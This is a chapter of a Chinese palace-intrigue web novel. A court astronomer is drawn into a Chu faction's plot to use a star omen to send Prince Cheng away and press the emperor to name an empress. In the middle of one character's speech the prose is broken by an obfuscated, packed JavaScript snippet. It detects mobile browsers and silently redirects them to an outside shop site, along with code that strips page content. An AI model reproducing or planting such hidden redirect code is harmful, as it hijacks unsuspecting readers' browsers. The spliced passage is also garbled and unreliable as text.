自开始力推海防建设后,宁澈政事上要处理的公务陡然增多,也就挤压了他看其他东西的时间。但坚壁海防这事本来也是为了应对倭寇来袭,知己知彼方能百战不殆,夏绫便趁着每天吃饭的时候将自己所看到的内容在饭桌上说给宁澈听,两人你来我往的聊着天,倒省了落在纸面上的功夫。 蓦而有敲门声打断了夏绫的思绪,她起身开了门,见外面是谭小澄的徒弟小吴。 “夏姑娘,”小吴弯身见了礼,说明来意,“主子有急事去了文华殿,御犬没人看着,自个儿溜达进书房去了。奴婢们不敢拦,但又怕御犬弄坏了机要奏疏耽搁大事,所以想请您过去看看。” 夏绫轻轻啧了一声。 她今日想多看会书,宁澈说正好有空跟小铃铛玩一会,便把狗子领去了乾清宫。 谁知道竟这么不靠谱,有事要出去也得先让人把狗给她送回来啊。反正她可不敢让狗单独待在自己房间里,保不齐就有什么东西得遭殃。 “小铃铛真是糟蹋他糟蹋的还不够多……” 夏绫兀自抱怨了一句,赶忙小跑着去了。 进了御书房,夏绫没瞅见狗在哪,来回找了两圈,才在书案下面瞧见一条毛茸茸的尾巴,时不时的还左右扭上两下。 “铃铛,出来。” 可喊了两声,狗子完全没有想搭理她的意思。 夏绫不禁板起了脸,跪趴到地上,钻到桌子下面:“铃铛,你干啥呢?” 只见狗子窝在最里面,两爪抱着根骨头,啃的正起劲。 夏绫突然悟了。要不然这狗东西跟宁澈好脾气呢,它也知道跟着谁能讨到肉吃! “哎呀,你先跟我出来,到别地儿啃去。” 夏绫只得伸出手去拽铃铛嘴里的骨头,可狗子一护食,在桌子底下这么一闹腾,夏绫的后背顶到了书案下沿,哗啦一声从桌上掉了个什么东西下来。 “嘶……” 夏绫忍着疼从桌子底下爬出来,见落到地上的是一封很长很长的奏疏。 宁澈桌上的东西因有时会涉及机密,她基本都不会刻意去看。可是这封奏疏,封面上所写的?奏请追封圣母庄穆皇后并迁灵柩入皇陵疏?,让夏绫无法视而不见。 夏绫颤抖着打开奏疏,上面的一言一辞,简直如刀子般划在她心上,让她喘息愈发急促。 而在奏疏末尾,在无数自诩为忠臣良将之人勠力同心的狂欢中,有一用朱笔落下的大大“准”字,猩红刺目。 115. 楚党聚会 京城东南隅,观象台。 ?周礼?有云:保章氏掌天星,以志日月星辰之变动,以观天下之迁,辨其凶吉。 观星象而卜天下,便是钦天监最主要的职责之一。 陆元齐立于浑天仪旁,抬头遥望着昭昭星幕,这是他每日都需要做的事。 或许是因为前日下过雨,今夜星空格外清透,五星二十八宿分列四方,莹莹点点,皎洁流光。 五星当中,岁星色青,比参左肩;荧惑色赤,比心大星;镇星色黄,比参右肩;太白色白,比狼星;辰星色黑,比奎。五星得其常色而应四时则吉,变常则凶。 陆元齐凝视着亘古之星辰,见岁星、太白、辰星各居其位,而在西北方向,荧惑与镇星却隐隐有交合之象。 但此天象不甚明显,依陆元齐推算,不出下月,两星便会各归其位,无甚异象。如此,他便照例将此夜所观星象记于日志之上,随后回钦天监衙门交了班,急着散值离去。 他之所以如此匆忙,是因为今日在湖广会馆有一场楚人间的聚会,他赶着要去参加。 这可是陆元齐费了好大力气才搞到的机会。 在官场上混日子,籍贯一向是结交往来的一条重要纽带。而籍贯从父而论,陆元齐自太爷那辈起便已在钦天监任职,他户籍黄册上明白的写着京城人氏,虽母亲为荆州人,但那些楚籍官员素来是不爱带着他玩的。 陆元齐知道,自己一个连荆楚之地都没有到过的人,必是难以融入那群人的圈子。可他不得不腆着脸这样做。 由于朝廷严禁民间教授天文历法的推算,熟知历法者寥寥无几,尽被指派入钦天监,专为皇家做卜凶吉之事。又因知天数者,外人往往难窥其奥,此等技艺便渐成为家学代代相承,钦天监中官员大多为子承父业,与外界交往也更闭塞些。 可钦天监是个十分清苦的衙门,所做之事枯燥繁重不说,还捞不到什么油水,同那些走科场之人所居的官位是无法相比的。 陆元齐家孩子不少,老大已到了将能参加县试的年岁,是个有些念书天赋的孩子。老二是个丫头,将来最好能说个读书人家,老三老四也到了将要开蒙的年岁,被大哥哥带着对书本也颇有兴趣。 陆元齐走了钦天监这条路,很知道其中的苦楚。他自己的命格已无从改变,但他不想自己的孩子再吃一遍这样的苦,将一辈子都锁在那一方小小的观象台上。 所以他挤破脑袋也要往文人堆里去扎,不为别的,只是想给孩子们多谋一条出路罢了。 可是同为京籍的官员大都非富即贵,那更不是他一个清水小官能摸得到的门槛。于是他便将眼光往外看,放到了楚地官员身上。 好巧不巧,他发现了竟有心学这么条路子。顾阁老心学学法深厚,追随者众多,又因其为荆楚人氏,听他讲学的人当中便汇集了一大波湖广官员,以与顾阁老同籍为傲。 陆元齐借这个机会,下功夫猛补心学,每次在顾文哲讲学时都争坐在最前面,数次之后,还真得了顾阁老几分青眼。 有了顾阁老的赏识,那些楚籍官员对他便也多了几分接纳,再加上自己半个荆州人的血统,久而久之,在那些楚地读书人的圈子里,倒也能摸上点边了。 陆元齐到达湖广会馆时已有些迟了,第一巡酒已过,堂内几桌的位置都已坐满,他只能偷摸着溜进去,找了张靠边些还有空位的桌子坐下。 同桌的几人皆是些年轻官员,陆元齐不怎么认识,只能陪着笑互相敬了敬酒,道了自己名姓。 谁知在坐几人俱是一怔,其中一人笑着拱了拱手说:“原来是陆监正,久仰久仰。不过在主桌那边,袁大人已给您留了位置,您怎么坐到我们这桌来了?” 陆元齐也是懵住了。他们口中的袁大人,便是兵部尚书袁盛年,是在京楚人中除顾阁老外官位最高的,算是他们的魁首。自己是何德何能,竟被袁大人亲自留了座? 陆元齐赶忙到主桌去见礼。桌上的人正在推杯换盏的说着话,陆元齐不好直接过去插嘴,再旁边干站了一会,才终于有人注意到了他。 “陆大人何时到的?快请快请!” 说话的人叫黄霖,现任太仆寺卿,从三品。此人同酷爱心学,是陆元齐在楚人当中能攀上的官位最高者,而在这一桌上,黄霖也不过仅能坐在末位而已。 陆元齐自是笑脸迎上去,往日里黄霖待他从未有过这般热络,让他有些受宠若惊。 黄霖邀陆元齐与自己同坐,边向坐在主位上的人介绍道:“袁大人,这位便是钦天监陆监正,可窥知天命者,不外如是啊!” “不敢,不敢。” 陆元齐连连拱手,看向自己正对面。坐在圈椅中的人五十多岁的年纪,坐姿松弛却无端带着股威严,这便是兵部尚书袁盛年了。 袁尚书带着一脸和气的笑,举起手中酒杯敬向陆元齐:“陆监正,久闻大名。” 陆元齐哪敢受尚书大人的敬酒,立刻站起身来,连连说道:“是下官来迟了,自罚三杯,自罚三杯。” 他连着三杯酒灌下肚,辣的脸都红了起来。 同桌几人都附和着笑了,袁盛年挥挥手让他坐下来:“今日并非什么官场应酬,不过是同在异乡为官的乡亲们之间的小聚,陆大人不必拘束。” 陆元齐讪讪应了。不知道是不是自己多心,他却觉着,袁尚书这番话是在提醒他,他这个“异乡人”,在这间屋子里,仍是个外人。 草草吃了几口菜后,又有人来同他敬酒。陆元齐连忙又举起酒杯,对方他并不认识,但看座次,官阶自是不会比黄霖低。 对方持酒笑道:“早就听闻陆监正堪知天命,上回在御前同皇上的禀奏,也知陆大人是位心怀国事的忠臣。” 陆元齐略有些心惊。 他上一次御前答话,便是在祈雨大典之前,皇上独召他进乾清宫,让他卜一卜海防之事能否顺利。彼时,他听从了黄霖给他的建议,在说完海防之事之后,将话题引到中宫位缺上去,因此他同皇上回禀的是,海防之事无恙,但中原久旱不雨,天象有异,乃是紫微星动荡所致,还请皇上早立中宫。 但这是他同皇上之间的私话,按理说不该有其他人知道的。而现在看来,黄霖此前同他说的那些话或许并不是“建议”,更像是有人授意而为之。 陆元齐只能避重就轻的答到:“不敢当,下官只是尽自己的本分而已。” 方一放下酒杯,便听黄霖就势问到:“哎,陆监正,不知近日星象可有何异?” 陆元齐如实答到:“五星皆在其位,但荧惑星与镇星略现交合之势。” 同桌众人闻言皆默了片刻,有一人忽说道:“荧惑主火,镇星主土,火与土交合,为忧,主孽卿。一说此象预示着有佞臣克国祚,现之不吉啊。” 陆元齐方想开口说,无需忧虑,据他推算,此二星很快便会各归其位,却被另一人抢先说道:“在此时节,荧惑星位在西北,这是否意味着,佞臣处在京城西北方?” 陆元齐隐隐觉得此人是话里有话,不敢再多说。 “西北,京城的西北,是昌平啊……”黄霖摸着下巴若有所思,却忽而眉心一紧,“难道是,昌平行宫吗?” 陆元齐心中倒吸一口冷气,现下在昌平行宫住着的,不正好是成王么! 另有一人面露忧色,接续道:“陛下迟迟不提册立皇后之事,也不为无嗣而担忧,莫不是当真因为有个成王在,想让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422857|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当皇太弟?陆大人,若成王当真有此野心,那此等星象不可不上奏啊!” “不是……”陆元齐已出了一后背的冷汗,他可什么都没说,这怎么就把话头扯到成王爷身上去了? 他方想开口解释两句,却听得袁盛年又开口了。 “哎,此言重了,陛下与成王素来兄弟情深,成王岂会是这等悖上之人。况且,陆监正是忠臣,若真观得异象,不会隐而不报的,又何必逼他。”袁尚书笑呵呵的看向陆元齐,“陆监正,本官听闻,令长子到了将要走科场的年岁。正巧兵部现下有个整理文书的空缺,令郎若不嫌弃,不如到本官麾下来帮扶一二?待日后令郎身上有了功名,本官也正好借此经历为令郎某个职位,不知陆大人意向如何?” 陆元齐抬起头。他辛辛苦苦钻营社交,为的就是能攒一攒人脉,日后好给孩子们安排个好前程。他心中隐约有些激荡,这么好的机会竟直接送到了眼前,他无法不心动。 可是,毕竟没有天上掉馅饼的事,袁尚书又想让他做些什么呢? 可袁盛年已站起了身,并没有给他问话的机会:“今日这宴席,本官毕竟是年长者,各个后辈都需顾及到,这便去各桌走一走,同小辈们亲近亲近,陆大人请便吧。” 同桌的几人皆跟随袁尚书离去,唯有黄霖没动地方。黄霖将一手搭在陆元齐肩上,笑道:“陆兄,请借一步说话。” 陆元齐跟随黄霖到了一僻静处。 黄霖压低声音道:“陆大人,您也看到了,咱们这些同乡,都是忧国忧民的忠厚之辈,是真的盼着陛下早立中宫,盼着我大燕国祚绵长的。现陛下拖着久不立后,无非还有两重阻碍。第一重,圣母灵柩尚未入皇陵与先帝合葬,故陛下不敢僭越父母,此在情理之中。而另一重便是成王爷了。先帝在时,也无皇后,但不过因为有子嗣,臣工们便也无必要上赶着去触君上的霉头。试想,陛下若拿成王来挡国本空虚这事,又如何会着急立后呢?” 陆元齐沉吟片刻:“黄大人有什么话不妨直说。” “陆大人爽快。”黄霖赞许道,“本官是想请陆大人以星象有异为由,奏请皇上让成王离开京城就藩。如此一来,待成王一走,陛下便再无不立中宫的理由了。” 陆元齐心中了然,这便是袁尚书开给他的价码。 他思索了一会,犹豫道:“可是,这成王爷毕竟是皇上一手带大的,兄弟情深非寻常可比,若是这样说,皇上怕是会不高兴呐。” “诶,陆兄此言差异。皇上一向仁慈宽厚,兄台只是将实情说出来,是为国祚着想,谏言为忠,陛下又岂会怪罪?”黄霖一张嘴巧舌如簧,“况且,陆大人并不是在孤军奋战。只要钦天监的折子一上,我等同乡必会紧随其后声援。皇上毕竟年少,小孩子不至于硬轴着不听劝的,出不了什么大事。” 是啊,皇上毕竟还是个孩子,比家里老大大不了几岁。陆元齐被他说的已有些动摇。 “黄大人,下官还有一事不明。您……或者是袁大人,为何这么急于想让皇上立后呢?” “呵。”黄霖轻笑一声,勾住陆元齐的肩,凑近他道,“因为只有这样,陛下身边才能有咱们的人啊。咱们楚地女子的样貌陆大人也知晓,但凡开了遴选后妃的口子,不怕咱家的这些丫头们入不了皇上的眼。一旦皇上枕边有了咱们的人,日后还怕楚党没有好日子过么?” 咱们。 这是陆元齐努力了这么久,第一次听黄霖拿他当自己人。 他脑子不由得有些发热。 再想起家中孩子们的前程,陆元齐仿佛已经看到老大一身进士红袍,身披官服与人唇枪舌剑的样子了。 陆元齐心里一横。这投名状,自己交了。